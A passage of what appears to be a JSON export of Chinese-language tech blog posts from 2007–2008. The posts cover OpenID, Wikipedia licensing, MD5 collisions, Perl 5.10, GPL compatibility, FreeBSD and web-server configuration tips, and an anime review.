    "body": "在 <a href=\"http://brad.livejournal.com/\" rel=\"tag\">Brad Fitzpatrick</a> 的 Blog 上看到 <a href=\"http://www.blogger.com/\" rel=\"tag\">Blogger</a> 打算要支援 <a href=\"http://openid.net/\" rel=\"tag\">OpenID</a>，而且是 Consumer：<a href=\"http://brad.livejournal.com/2351159.html\" rel=\"tag\">Blogger + OpenID</a>。\r\n\r\n<a href=\"http://brad.livejournal.com/\" rel=\"tag\">Brad Fitzpatrick</a> 就是 <a href=\"http://openid.net/\" rel=\"tag\">OpenID</a> 協定的發明人之一，他另外一個也很有名的作品是 <a href=\"http://www.danga.com/memcached/\" rel=\"tag\">memcached</a>，被廣泛應用在全世界各大網站。\r\n\r\n<a href=\"http://www.blogger.com/\" rel=\"tag\">Blogger</a> 的 comment 如果設定為「需要註冊使用者」，那麼你就必須有 <a href=\"http://www.blogger.com/\" rel=\"tag\">Blogger</a> 帳號 (<a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 帳號)，但 <a href=\"http://bloggerindraft.blogspot.com/\" rel=\"tag\">Blogger in Draft</a> 上發表了打算要推出以 <a href=\"http://openid.net/\" rel=\"tag\">OpenID</a> 認證的功能，也就是：<a href=\"http://bloggerindraft.blogspot.com/2007/11/new-feature-openid-commenting.html\">New feature: OpenID commenting</a>。\r\n\r\n補充一點，這個功能 <a href=\"http://brad.livejournal.com/\" rel=\"tag\">Brad Fitzpatrick</a> 在他的 Blog 上有提到不是他推動的，他純粹只是廣告一下而已...",
    "title": "Blogger Draft：支援 OpenID 留言"
  },
  {
    "id": "1376",
    "body": "<a href=\"http://openid.net/\" rel=\"tag\">OpenID</a> 2.0 在社群的參與修訂後，將要進入最後的公告程序了：<a href=\"http://openid.net/pipermail/general/2007-December/003736.html\">Finalizing OpenID Authentication 2.0 and OpenID Attribute Exchange</a>。\r\n\r\n<a href=\"http://openid.net/\" rel=\"tag\">OpenID</a> 2.0 在發展時就不斷有人將 Draft 的內容寫成 Library，並隨著 Draft 不斷更新，所以最後正式定案的時候都已經有現成的 Library 可以套用。\r\n",
    "title": "OpenID 2.0"
  },
  {
    "id": "1377",
    "body": "<a href=\"http://en.wikipedia.org/wiki/Jimmy_Wales\" rel=\"tag\">Jimmy Wales</a> 在 <a href=\"http://www.wikipedia.org/\" rel=\"tag\">Wikipedia</a> 的聚會上宣佈 <a href=\"http://www.wikimedia.org/\" rel=\"tag\">Wikimedia</a> 與 <a href=\"http://www.fsf.org/\" rel=\"tag\">FSF</a> 已經達成共識，將未來版本的 <a href=\"http://www.gnu.org/licenses/fdl.html\" rel=\"tag\">GFDL</a> 相容於 <a href=\"http://creativecommons.org/\" rel=\"tag\">Creative Commons</a> 的 BY-SA：<a href=\"http://slashdot.org/developers/07/12/01/2032252.shtml\">Wikipedia to be Licensed Under Creative Commons</a>。\r\n\r\n<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 的標題明顯誤導讀者，因為目前 <a href=\"http://www.wikipedia.org/\" rel=\"tag\">Wikipedia</a> 的文章都是以 <a href=\"http://www.gnu.org/licenses/fdl.html\" rel=\"tag\">GFDL</a> 授權，要改成 <a href=\"http://creativecommons.org/\" rel=\"tag\">CC</a> 必須由所有有貢獻的人同意。\r\n\r\n實際上的情況是 <a href=\"http://www.wikimedia.org/\" rel=\"tag\">Wikimedia</a> 與 <a href=\"http://www.fsf.org/\" rel=\"tag\">FSF</a> 達成協議，在新版的 <a href=\"http://www.gnu.org/licenses/fdl.html\" rel=\"tag\">GFDL</a> 相容於 CC SA-BY，然後藉由 <a href=\"http://en.wikipedia.org/wiki/Wikipedia:Copyrights\" rel=\"tag\">Wikipedia 的授權條款</a>中的這條達成：\r\n<blockquote>Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation</blockquote>\r\n\r\n<strong>Update</strong>：在查了 <a href=\"http://wikimediafoundation.org/wiki/Resolution:License_update\" rel=\"tag\">Resolution:License update</a> 以後，我發現是更激烈的作法：請 FSF 發佈一個新的 GFDL，讓 <a href=\"http://www.wikipedia.org/\" rel=\"tag\">Wikipedia</a> 利用新版的 GFDL 直接轉換成 CC SA-BY。",
    "title": "Wikipedia 的 GFDL 文章未來將相容於 CC"
  },
  {
    "id": "1378",
    "body": "自 2004 年<a href=\"http://zh.wikipedia.org/wiki/%E7%8E%8B%E5%B0%8F%E9%9B%B2\" rel=\"tag\">王小雲</a>女士找到方法有效率的產生 MD5 碰撞後 (也就是兩個不一樣的資料的 MD5 Digest 相同)，就不斷有人嘗試更進一步的攻擊。\r\n\r\n之前最主要的攻擊是對某一組 X.509 的 public key 產生另外一組 MD5 Digest 相同的 public key，再對這組 public key 攻擊而產生 private key (因為這組 public key 是 weak key)，接下來就可以做各種攻擊。這篇論文在：<a href=\"http://eprint.iacr.org/2005/067\">Colliding X.509 Certificates</a>。\r\n\r\n這次則是更進一步思考要如何放惡意程式碼到 Windows 執行檔，卻仍然可以騙過 MD5 檢查，比較抽象的講法是 \"chosen-prefix collision\"，表示新的資料前面是包含惡意程式的程式碼 (所以 prefix 是選定的)，然後利用後面的空間接一段垃圾用以「湊」出同樣的 MD5 Digest：<a href=\"http://slashdot.org/it/07/12/02/0651221.shtml\">MD5 Proven Ineffective for App Signatures</a>。\r\n\r\n這個攻擊非常重要的原因是因為這離一個 Secure Hash Function 的消失又更進一步：pre-image attack，我只給你 MD5 Digest，要找出一組資料符合這組 MD5 Digest。看起來新系統還是趕快換用 SHA-256 吧 orz...",
    "title": "MD5 的淪陷：實例"
  },
  {
    "id": "1379",
    "body": "這個禮拜真的是相當幸福啊... 先是 CLANNAD 第九話，再來是<a href=\"http://zh.wikipedia.org/wiki/%E9%9B%BB%E8%85%A6%E7%B7%9A%E5%9C%88\" rel=\"tag\">電腦線圈</a> #26 的完結。\r\n\r\n《<a href=\"http://zh.wikipedia.org/wiki/%E9%9B%BB%E8%85%A6%E7%B7%9A%E5%9C%88\" rel=\"tag\">電腦線圈</a>》是從五月開始播放的動畫作品，總共 26 話，中間遇到日本高中棒球聯賽休息兩個禮拜，以及兩話的總集篇 (不計算在 26 話內，所以算進去總共是 28 話)，直到 12/1 在 <a href=\"http://zh.wikipedia.org/wiki/NHK%E6%95%99%E8%82%B2%E9%A0%BB%E9%81%93\" rel=\"tag\">NHK 教育頻道</a>上播放完畢，並準備在 12/8 重播。\r\n\r\n有些人看第一話之後就虛掉，因為人物設定的畫風太古樸了 (有人用「宮崎駿風格」描述這部作品，還蠻貼切的 XD)，不過這部作品作畫的品質一直維持的很好，加上磯光雄在鋪陳及分鏡的功力，以及齊藤恆芳的背景音樂所營造的氣氛，使得看過這部作品的人就被吸引住了。\r\n\r\n另外對於華語世界的人來說，這部作品在 <a href=\"http://bbs.dmzj.com/thread.php?fid=99\" rel=\"tag\">X2 字幕組</a>的加持下也是很重要的一個原因，除了很穩定的在翻譯外，也在不少地方加上適當的註解，使得手邊沒有日文版書籍的人也可以瞭解這部作品的背景設定。\r\n\r\n磯光雄在這部作品裡面扮演了很重要的幾個位置：原案、原作、導演、腳本，同時也參與了相當部份 (六話) 的分鏡，如同<a href=\"http://rzsuisei.blog.shinobi.jp/\" rel=\"tag\">翠星石</a>所說的「多才多藝」。整個作品的前半段雖然在鋪陳，但卻完全不會讓人感覺到無聊，到後半段不斷的展開，同時間還不斷的埋下新的伏筆，直到最後一話！傳言腳本與系列構成花了數年的時間，從日文版的維基百科可以看到<a href=\"http://ja.wikipedia.org/wiki/%E7%A3%AF%E5%85%89%E9%9B%84\" rel=\"tag\">磯光雄</a>從 2003 年之後就沒有參與作品可以猜測幾乎就是全力專注在這上面。\r\n\r\n齊藤恆芳的音樂也是作品另外一個扣人心弦的因素，尤其劇情過半，進入主線劇情開始不斷展開時的配樂總是會有「啊！這時候就應該要放這個音樂！」的感覺。\r\n\r\n我會找時間來從頭跑一次，也許這個禮拜五去新竹的時候來衝刺？XD\r\n\r\n參考：<a href=\"http://rzsuisei.blog.shinobi.jp/\" rel=\"tag\">翠星石</a>所寫的「<a href=\"http://rzsuisei.blog.shinobi.jp/Entry/580/\">電脳コイル 最終話</a>」。",
    "title": "電腦線圈"
  },
  {
    "id": "1380",
    "body": "<a href=\"http://catalyst.perl.org/\" rel=\"tag\">Catalyst</a> 是一套 <a href=\"http://www.perl.org/\" rel=\"tag\">Perl</a> 上的 MVC Framework，由於 <a href=\"http://www.cpan.org/\" rel=\"tag\">CPAN</a> 的資源相當的多，所以 <a href=\"http://catalyst.perl.org/\" rel=\"tag\">Catalyst</a> 本身只自己實做 Controller 的部份，Model 與 View 的部份可以挑自己喜歡的模組外掛。\r\n\r\n剛剛在 <a href=\"http://www.fayland.org/blog/\" rel=\"tag\">Fayland and Perl Programming</a> 這邊看到 <a href=\"http://catalyst.perl.org/\" rel=\"tag\">Catalyst Framework</a> 開始進行 2007 年的 <a href=\"http://catalyst.perl.org/calendar\" rel=\"tag\">Catalyst Advent Calendar</a> 了，為期二十五天，前面三天的主題是 <a href=\"http://extjs.com/\" rel=\"tag\">ExtJS</a>、<a href=\"http://developer.yahoo.com/yui/\" rel=\"tag\">YUI</a>、以及 Template。\r\n\r\n更早前的 <a href=\"http://catalyst.perl.org/calendar\" rel=\"tag\">Catalyst Advent Calendar</a> 可以參考 <a href=\"http://catalyst.perl.org/calendar/2005\" rel=\"tag\">2005</a>、<a href=\"http://catalyst.perl.org/calendar/2006\" rel=\"tag\">2006</a> 兩份，2005 那份舊了點，但 2006 那份就非常棒 :-)",
    "title": "Catalyst Framework"
  },
  {
    "id": "1381",
    "body": "<a href=\"http://developer.yahoo.com/yui/\" rel=\"tag\">YUI</a> 2.4.0 出版了，非常常用到的 Selector Utility 終於在 2.4.0 補上了：<a href=\"http://yuiblog.com/blog/2007/12/04/yuii-240/\">YUI 2.4.0 Released — Selector, Charts, Profiler, Script/CSS Get, and JSON Support</a>。\r\n\r\n另外 JSON Utility 也在 2.4.0 補上了，不用再自己拉回來 eval() 了。除了基礎建設的部份外，這個版本還<del datetime=\"2007-12-05T14:54:51+00:00\">附上</del>改善了 <a href=\"http://developer.yahoo.com/yui/\" rel=\"tag\">YUI</a> 版的 <a href=\"http://developer.yahoo.com/yui/editor/\" rel=\"tag\">Rich Text Editor</a>！不過用起來好頓啊...",
    "title": "YUI 2.4.0"
  },
  {
    "id": "1382",
    "body": "<a href=\"http://www.zooomr.com/photos/38183@Z01/3871174/\" rel=\"tag\"><img src=\"http://static.zooomr.com/images/3871174_2add028ca6.jpg\" alt=\"\" /></a>",
    "title": "我們家 CTO 就是負責做這些事情的..."
  },
  {
    "id": "1383",
    "body": "在<a href=\"http://jacky.seezone.net/\" rel=\"tag\">網路暴民</a>那邊看到 <a href=\"http://www.xs4all.nl/~whaa/putty/\" rel=\"tag\">PuTTY Tray</a>，很久前就有看到這套軟體，不過忘記為什麼不使用了...\r\n\r\n剛剛看了一下發現更新速度還不錯，最新版是 11/25 的版本。PuTTY Tray 比起原始的 <a href=\"http://www.chiark.greenend.org.uk/~sgtatham/putty/\" rel=\"tag\">PuTTY</a> 多了一些功能，我會用到的功能包括了 Configurable window transparency (開 224，應該是對應到 12.5% transparency) 與 URL hyperlinking，晚點把 Notebook 與另外一台桌機的 PuTTY 換掉。",
    "title": "PuTTY Tray"
  },
  {
    "id": "1384",
    "body": "辦公室裡面的 NAT Server 是一台 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a>，用 ipnat 包這塊，不過一直沒有設定 UPnP，昨天想到的時候想起 <a href=\"http://blog.leeym.com/\" rel=\"tag\">Leeym</a> 應該有寫過 UPnP 的文章，可是卻找不到...\r\n\r\n結果找了其他軟體發現 <a href=\"http://miniupnp.free.fr/\" rel=\"tag\">miniupnpd</a> 也很簡單，在 <a href=\"http://www.freebsd.org/ports/\" rel=\"tag\">FreeBSD Ports</a> 裡也已經存在了，於是就裝起來測試，發現沒什麼問題... (賀)\r\n\r\n基本上只要啟動 PF，設定好 minipnpd.conf 後，在 <code>/etc/pf.conf</code> 加上：\r\n<blockquote><pre>rdr-anchor \"miniupnpd\"\r\nanchor \"miniupnpd\"</pre></blockquote>\r\n這樣就可以了。",
    "title": "FreeBSD 上的 UPnP 設定"
  },
  {
    "id": "1385",
    "body": "在 <a href=\"http://blogoscoped.com/archive/2007-12-13-n83.html\" rel=\"tag\">Google Analytics Tracker Code Change and More</a> 這篇看到的，官方的新聞稿在 <a href=\"http://analytics.blogspot.com/2007/12/announcing-new-graphing-tools-gajs.html\" rel=\"tag\">Announcing new graphing tools, ga.js tracking, and six new languages</a> 這篇。\r\n\r\n看起來主要是對 HTTPS 的處理，然後拆成 _initData() 與 _trackPageview()。據 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 說，舊的程式碼最少還可以跑個一年，所以就找時間慢慢換過去吧...",
    "title": "Google Analytics 程式碼變更"
  },
  {
    "id": "1386",
    "body": "這篇其實是在講 <a href=\"http://www.kegel.com/c10k.html\" rel=\"tag\">C10K</a> 問題，不過我懶得寫長長一篇解釋了...\r\n\r\n<a href=\"http://httpd.apache.org/\" rel=\"tag\">Apache</a> 2.2 的 <a href=\"http://httpd.apache.org/docs/2.2/mod/event.html\" rel=\"tag\">MPM Event</a> 在測試後發現相當不錯，大力推薦 :D 不像 prefork 模式，一個連線就要一個 process。\r\n\r\n再來因為 <code>.htaccess</code> 的彈性，配合 <a href=\"http://www.fastcgi.com/\" rel=\"tag\">mod_fastcgi</a> 掛 <a href=\"http://www.php.net/\" rel=\"tag\">PHP</a>，其實在量大的時候可以取代掉 <a href=\"http://www.lighttpd.net/\" rel=\"tag\">lighttpd</a>。(量小的時候 lighttpd 還是很棒)",
    "title": "Apache 2.2 的 MPM Event"
  },
  {
    "id": "1387",
    "body": "睡眼惺忪的打開 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 就看到 <a href=\"http://www.amazon.com/\" rel=\"tag\">Amazon</a> 又在亂丟炸彈了...\r\n\r\n<a href=\"http://aws.amazon.com/simpledb\" rel=\"tag\">Amazon SimpleDB</a> 是 <a href=\"http://www.amazon.com/\" rel=\"tag\">Amazon</a> 以 <a href=\"http://www.allthingsdistributed.com/2007/10/amazons_dynamo.html\" rel=\"tag\">Amazon's Dynamo</a> 為基礎的另外一個服務，把 <a href=\"http://www.amazon.com/\" rel=\"tag\">Amazon</a> 最缺的一塊，Database，補起來了。\r\n\r\n不同於 RDBMS (像是 SQL)，SimpleDB 做的事情很簡單，除了 key-value 的儲存以外，另外還可以存放 attribute，並對 attribute 設定條件搜尋，在官方說明文件 <a href=\"http://docs.amazonwebservices.com/AmazonSimpleDB/2007-11-07/DeveloperGuide/SDB_API_Query.html\" rel=\"tag\">Query API</a> 裡就有列出搜尋的條件式，可以看到只支援簡單的 &gt;、&lt;、=，以及 NOT 條件，另外可以對多個結果取交集。其實有這個系統就已經可以架一個 Blog 了。\r\n\r\n不過還是有容量上的限制 (不像 <a href=\"http://aws.amazon.com/s3\" rel=\"tag\">Amazon S3</a> 那樣)，這可能是因為還在 Beta 的關係。在 <a href=\"http://docs.amazonwebservices.com/AmazonSimpleDB/2007-11-07/DeveloperGuide/?\" rel=\"tag\">PutAttributes</a> 的頁面裡提到了一個 domain 只能有 250 million attribute，以及 10GB 的資料大小限制。這些必須想辦法在 Application 層自己處理。",
    "title": "Amazon SimpleDB"
  },
  {
    "id": "1390",
    "body": "因為被告不需自證其罪 (美國憲法第五修正案)，所以不需要交出 PGP key 的密碼：<a href=\"http://slashdot.org/yro/07/12/15/1459243.shtml\" rel=\"tag\">Encryption Passphrase Protected by the 5th Amendment</a>。\r\n\r\n以後會演變成，在逮捕前想辦法先安裝 keylogger，或是在房間裡放監視器材，蒐集到密碼後才會拘提並扣押證物？那個 <a href=\"http://slzzp.blogspot.com/\" rel=\"tag\">slzzp</a> 小心點啊...\r\n\r\n補充，如果有需要的人可以裝 <a href=\"http://www.truecrypt.org/\" rel=\"tag\">TrueCrypt</a>，免費而且是 Open Source。",
    "title": "在美國，金鑰密碼受到第五修正案所保護"
  },
  {
    "id": "1391",
    "body": "IE8 內部測試版本已經通過 <a href=\"http://www.webstandards.org/action/acid2/\" rel=\"tag\">Acid2</a>，一個很有名的 CSS 的測試了：<a href=\"http://blogs.msdn.com/ie/archive/2007/12/19/internet-explorer-8-and-acid2-a-milestone.aspx\" rel=\"tag\">Internet Explorer 8 and Acid2: A Milestone</a>，接下來是時間的問題了，離 IE6 與 IE7 消失還有很長一段時間，不過畢竟總是要有個頭。\r\n\r\n<a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 3 會不會 delay 到成為最後一個支援 Acid2 的主流瀏覽器？(真的發生的話也不意外，只是會有很多人笑得很開心)",
    "title": "IE8 通過 Acid2"
  },
  {
    "id": "1392",
    "body": "在 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 上一堆 ports maintainer 要傷腦筋處理 <a href=\"http://www.perl.org/\" rel=\"tag\">Perl</a> 5.8 與 Perl 5.10 之間的相容性問題了...\r\n\r\nPerl 5.10.0 除了修正 bug 外，在效率上也做了許多改進，在 <a href=\"http://search.cpan.org/dist/perl/pod/perl5100delta.pod\" rel=\"tag\">perl5100delta</a> 可以查到完整的內容，幾個我比較有興趣的：\r\n<ul>\r\n\t<li>引入 <code>//</code> 運算子。以前寫 <code>defined $a ? $a : $b</code>，現在可以寫 <code>$a // $b</code>。同理，<code>$a //= $b</code> 等價於 <code>$a = (defined $a ? $a : $b)</code>，表示 $a 沒有被定義時塞入 $b。另外，<code>//</code> 與 <code>||</code> 有相同的優先權。</li>\r\n\t<li>有了 switch-case-default 的架構，不過在 Perl 裡叫 <code>given</code>-<code>when</code>-<code>default</code>。</li>\r\n\t<li>更快的 Regular Expression Engine，以及一些變動。</li>\r\n\t<li>Perl 內建的 <a href=\"http://www.unicode.org/\" rel=\"tag\">Unicode</a> 資料庫更新到 5.0.0。</li>\r\n\t<li>新增了一堆 module...</li>\r\n\t<li>一堆效能的改善...</li>\r\n</ul>\r\n反正用就是了 XD\r\n\r\n對了，大力推薦 <a href=\"http://strawberryperl.com/\" rel=\"tag\">Strawberry Perl</a>，試圖在 Win32 平台上建立一個簡單而且強大的 Perl 環境，目前還是 Perl 5.8.8，等他正式推出 Perl 5.10.0 的版本...\r\n\r\n如果要測試的人可以參考 <a href=\"http://use.perl.org/articles/07/12/20/1643250.shtml\" rel=\"tag\">Strawberry Perl Beta 2 Release</a> 這篇抓 Beta 2 版測試。\r\n\r\n<strong>Update</strong>：除了上面所說的，另外還有 <a href=\"http://www.xray.mpe.mpg.de/mailing-lists/perl5-porters/2007-12/msg00644.html\" rel=\"tag\">Some perl 5.10 comparisons</a> 提到的 <code>say</code> (與 <code>print</code> + <code>\\n</code>) 以及 <code>~~</code> (與 <code>grep</code> + <code>eq</code>) 的效能比較。\r\n\r\n<strong>Update</strong>：<a href=\"http://strawberryperl.com/\" rel=\"tag\">Strawberry Perl</a> 5.10.0 正式出版了！",
    "title": "Perl 5.10.0"
  },
  {
    "id": "1394",
    "body": "前陣子跟許多人討論時發現，不少人認為 <a href=\"http://www.fsf.org/licensing/licenses/info/GPLv2.html\" rel=\"tag\">GPLv2</a> 與 <a href=\"http://gplv3.fsf.org/\" rel=\"tag\">GPLv3</a> 是相容的，其實不然：<a href=\"http://www.gnu.org/licenses/gpl-faq.html#v2v3Compatibility\" rel=\"tag\">Is GPLv3 compatible with GPLv2?</a>。\r\n\r\n某些使用 GPLv2 的軟體能夠與新的 GPLv3 相容的原因，是因為當初開發時以 \"version 2 or later\" 的方式宣告，這時候軟體本身可以採用 GPLv3 與其他的 GPLv3 程式碼相容。\r\n\r\n對於新開發的軟體來說，只要小心檢查 Software license 就可以了。但對於舊的軟體，以及 package system 來說，是惡夢一場。\r\n\r\n有兩套舊的軟體，一套是 GPLv2 only，另外一套是 GPLv2 or later，兩套都是有上百個人參與過的計畫，而且都用到一個 GPLv2 or later 的 library。現在這個 library 宣佈下一個版本開始變成 GPLv3，但因為沒有 API 改變，所以不打算增加 shared library 的 magic number。這時候 GPLv2 only 的軟體因為不相容而需要改寫 (或是把舊版的 library 放入 src 裡維護)，package system 也因此不能產生 binary。\r\n\r\n也因此很多人對 <a href=\"http://www.stallman.org/\" rel=\"tag\">RMS</a> 自稱的「自由」相當不以為然：他利用 \"version 2 or later\" 大力推廣而產生壟斷後，再利用優勢將他個人自認為的自由放入 GPLv3。相同的，<a href=\"http://www.wikipedia.org/\" rel=\"tag\">Wikipedia</a> 所使用的 \"GFDL 1.2 or later\" 轉成 <a href=\"http://www.creativecommons.org/\" rel=\"tag\">CC</a> 的步驟也是相同的道理。\r\n\r\n權力使人腐化，不管是在商業公司還是在 Open Source Community 都一樣讓人噁心。",
    "title": "GPLv2 與 GPLv3 的相容性"
  },
  {
    "id": "1395",
    "body": "有訂閱 <a href=\"http://www.us-cert.gov/\" rel=\"tag\">US-CERT</a> 的人應該都有收到 <a href=\"http://www.us-cert.gov/cas/techalerts/TA07-355A.html\" rel=\"tag\">Technical Cyber Security Alert TA07-355A</a> (Adobe Updates for Multiple Vulnerabilities)，用 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 的人連上 <code>about:plugins</code> 可以看到 Flash Player Plugins 的版本，如果太舊記得去 <a href=\"http://www.adobe.com/\" rel=\"tag\">Adobe</a> 的網站上更新。",
    "title": "Adobe Flash Player 安全性漏洞"
  },
  {
    "id": "1396",
    "body": "在 <a href=\"http://aws.typepad.com/aws/2007/12/ec2-firefox-ext.html\" rel=\"tag\">Amazon Web Services Blog</a> 上看到 <a href=\"http://developer.amazonwebservices.com/connect/entry.jspa?externalID=609\" rel=\"tag\">Firefox Extension for Amazon EC2</a> 這個好用的工具，在 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 上裝起來測試後發現相當好用，如果要拿來推廣相當棒，不用自己再用 <a href=\"http://www.python.org/\" rel=\"tag\">Python</a> 的 <a href=\"http://code.google.com/p/boto/\" rel=\"tag\">boto</a> 操作半天...\r\n\r\nPS：剛剛注意到 boto 的作者參與了 <a href=\"http://aws.amazon.com/simpledb\" rel=\"tag\">Amazon SimpleDB</a> 的 beta testing，在正式公開那天把 SimpleDB 的 library 加進去了，可以寫一些小玩意測試看看...",
    "title": "Firefox Extension for Amazon EC2"
  },
  {
    "id": "1397",
    "body": "在 <a href=\"http://twitter.com/\" rel=\"tag\">twitter</a> 上看到 <a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> 的更新訊息：<a href=\"http://twitter.com/wordpress/statuses/544854012\" rel=\"tag\">WP 2.3.2: http://tinyurl.com/yofjx2</a>，看了一下發現是安全性更新，讓一般沒有權限的使用者取得尚未公開的內容。\r\n\r\nticket 在 <a href=\"http://trac.wordpress.org/ticket/5487\" rel=\"tag\">query.php mistakenly uses is_admin() to check for admin privileges</a> 這篇，而有人直接寫成實戰：<a href=\"http://www.blackhatdomainer.com/how-to-know-today-what-shoemoney-is-going-to-post-tomorrow/\" rel=\"tag\">How to know today what ShoeMoney is going to post tomorrow</a>。\r\n\r\n順便把系統升級到 trunk 最新版，發現後台版面的變化相當大，不過寬度開到 1920 時的 bug 也不少 XD\r\n\r\n對了，推薦有用 WordPress 的人去訂閱 <a href=\"http://twitter.com/wordpress\" rel=\"tag\">WordPress Twitter 分部</a>，沒什麼廢話，每句都是重點 XD",
    "title": "WordPress 2.3.2 (安全性更新)"
  },
  {
    "id": "1398",
    "body": "測試時遇到的地雷，寫下來讓以後的自己搜尋到... (愚蠢的 bug 總是會一而再再而三的犯下 XD)\r\n\r\n因為 <a href=\"http://www.lighttpd.net/\" rel=\"tag\">lighttpd</a> 已經用的蠻久了，所以都會有一份制式的 lighttpd.conf (精簡到「會動」而已) 拿來用，今天拿這個版本丟檔案的時候想用 <a href=\"http://www.squid-cache.org/\" rel=\"tag\">Squid</a> 當 reverse proxy 放在前面，結果發現永遠都是 TCP_MISS，看 HTTP Header 後發現 lighttpd 沒送 Last-Modified 欄位，應該是這樣造成 Squid 不會存下來。\r\n\r\nlighttpd 不送 Last-Modified 的原因後來查出是因為沒有指定 MIME Type。這是一個 feature，而不是 bug (所以不會修正)，所以我除了把線上得版本加上以外，在公版的 lighttpd.conf 裡也把 mimetype.assign 加上，這樣就正常了。\r\n\r\n繼續觀察看看到底可以省多少 :p",
    "title": "用 lighttpd 配 Squid 時的地雷"
  },
  {
    "id": "1399",
    "body": "沒有登入 <a href=\"http://www.wikipedia.org/\" rel=\"tag\">Wikipedia</a> 的情況下是沒辦法移除 Wikipedia 開頭的 Donation 廣告，即使登入後也只能縮起來，這讓人很煩。\r\n\r\n套句 <a href=\"http://userscripts.org/\" rel=\"tag\">Userscripts.org</a> 的標語：\r\n<blockquote>Because it's your web.</blockquote>\r\n用 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> + <a href=\"https://addons.mozilla.org/en-US/firefox/addon/748\" rel=\"tag\">Greasemonkey</a> 的使用者可以安裝 <a href=\"http://userscripts.org/scripts/show/16029\" rel=\"tag\">Wikipedia Donation Ad Remover</a> 把廣告移除。",
    "title": "移除 Wikipedia 開頭的捐獻廣告"
  },
  {
    "id": "1400",
    "body": "寫這篇是要補 <a href=\"http://blog.urdada.net/2007/12/31/71/\" rel=\"tag\">Enable core dump in Linux and FreeBSD</a> 這篇沒提到的部份。\r\n\r\n對於 setuid 或是 setgid 程式，<a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 基於安全性原因是不會產生 core 的。如果有需要產生 core 需要修改 kern.sugid_coredump 的值：\r\n<blockquote><code># sysctl kern.sugid_coredump=1</code></blockquote>\r\n這個在 <a href=\"http://varnish.projects.linpro.no/\" rel=\"tag\">Varnish</a> 的 mailing list 上遇過，無意間看到這個參數才發現的：<a href=\"http://projects.linpro.no/pipermail/varnish-misc/2007-November/001169.html\" rel=\"tag\">Varnish crash (SIGABRT) about every 10 mins</a>。",
    "title": "在 FreeBSD 上產生 coredump 另外要注意的事項"
  },
  {
    "id": "1401",
    "body": "在 <a href=\"http://www.perl.org/\" rel=\"tag\">Perl</a> 裡我們常用 <code>$_</code> 當作變數 (很多情況下常常被拿來用，像是 <code>foreach (@array)</code> 內的變數名稱)，所以就有人想到在 <a href=\"http://www.php.net/\" rel=\"tag\">PHP</a> 裡「模擬」這樣的行為：<a href=\"http://blog.adaniels.nl/?p=58\" rel=\"tag\">Perl like temporary variables in PHP</a>。\r\n\r\n文章內提到，在 PHP 內 <code>${0}</code> 是合法的變數，變數名稱就是 0。以此當作暫存變數，寫起來會比 <code>$foo</code>、<code>$bar</code>，或是 <code>$tmp</code> 舒服很多？",
    "title": "PHP 裡的暫存變數"
  },
  {
    "id": "1402",
    "body": "除了在「<a href=\"http://blog.gslin.org/archives/2007/06/20/1210/\" rel=\"tag\">用 Subversion 的 Merge 來 Undo</a>」這篇提到的方法外，另外在 <a href=\"http://simonwillison.net/2008/Jan/3/undo/\" rel=\"tag\">Undo commit in subversion</a> 這篇的 comments 看到了一些更精簡的方法：用 <code>svn merge -c -rev .</code> 做到與 <code>svn merge -r rev-1:rev</code> 一樣的效果。\r\n\r\n甚至，如果剛好是最近一個 commit 要 undo，可以用 <code>svn merge -r COMMITED:PREV .</code>。",
    "title": "Subversion Undo"
  },
  {
    "id": "1403",
    "body": "最近要衝一個註冊頁面，<a href=\"http://blog.pixnet.net/far\" rel=\"tag\">某位不能吃牛肉的老闆</a>叫我就直接衝 <a href=\"http://www.rubyonrails.org/\" rel=\"tag\">RoR</a> 了，不過公司已經有人研究 RoR，而且我跟 <a href=\"http://www.ruby-lang.org/\" rel=\"tag\">Ruby</a> 不熟的情況下，我決定去用以 <a href=\"http://www.python.org/\" rel=\"tag\">Python</a> 開發的 <a href=\"http://www.djangoproject.com/\" rel=\"tag\">django</a>。\r\n\r\ndjango 的文件也不少，不過我第一份當然是先看 <a href=\"http://blog.ericsk.org/\" rel=\"tag\">ericsk</a> 最近寫的 <a href=\"http://blog.ericsk.org/archives/815\" rel=\"tag\">用 Python + django 10分鐘內作出一個 blog</a>，但是我照著這份文件做發現一直有問題，後來發現到：<a href=\"http://www.freebsd.org/ports/\" rel=\"tag\">FreeBSD ports</a> 的 <a href=\"http://www.freshports.org/www/py-django\" rel=\"tag\">www/py-django</a> 是 0.96.1，這個版本叫做 <code>maxlength</code>，而在之後的版本才是 <code>max_length</code>。\r\n\r\n這個問題在官方的 ticket system 裡有提到，如果有興趣看的人可以直接看裡面的討論：<a href=\"http://code.djangoproject.com/ticket/2101\" rel=\"tag\">maxlength should be max_length</a>。\r\n\r\nPS：剛剛又中了一個地雷，已經不想 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 找答案了，決定先裝 <a href=\"http://www.freshports.org/www/py-django-devel\" rel=\"tag\">www/py-django-devel</a> 試看看。",
    "title": "FreeBSD 上的 django"
  },
  {
    "id": "1404",
    "body": "<a href=\"http://www.ietf.org/rfc/rfc1323.txt\" rel=\"tag\">RFC 1323</a>，也就是 TCP window scaling，通常事由 kernel 底層處理的，這次 <a href=\"http://www.amazon.com/\" rel=\"tag\">Amazon</a> 宣佈支援 RFC 1323 應該是系統升級的關係：<a href=\"http://aws.typepad.com/aws/2008/01/increasing-s3-d.html\" rel=\"tag\">Increasing Amazon S3 Data Transfer Performance</a>...\r\n\r\n翻了一些文件，看起來是 Linux 2.4 的舊版 (而且是很舊的版本？) 換到 2.6 時順便帶來的效益？",
    "title": "Amazon S3 將支援 RFC 1323"
  },
  {
    "id": "1405",
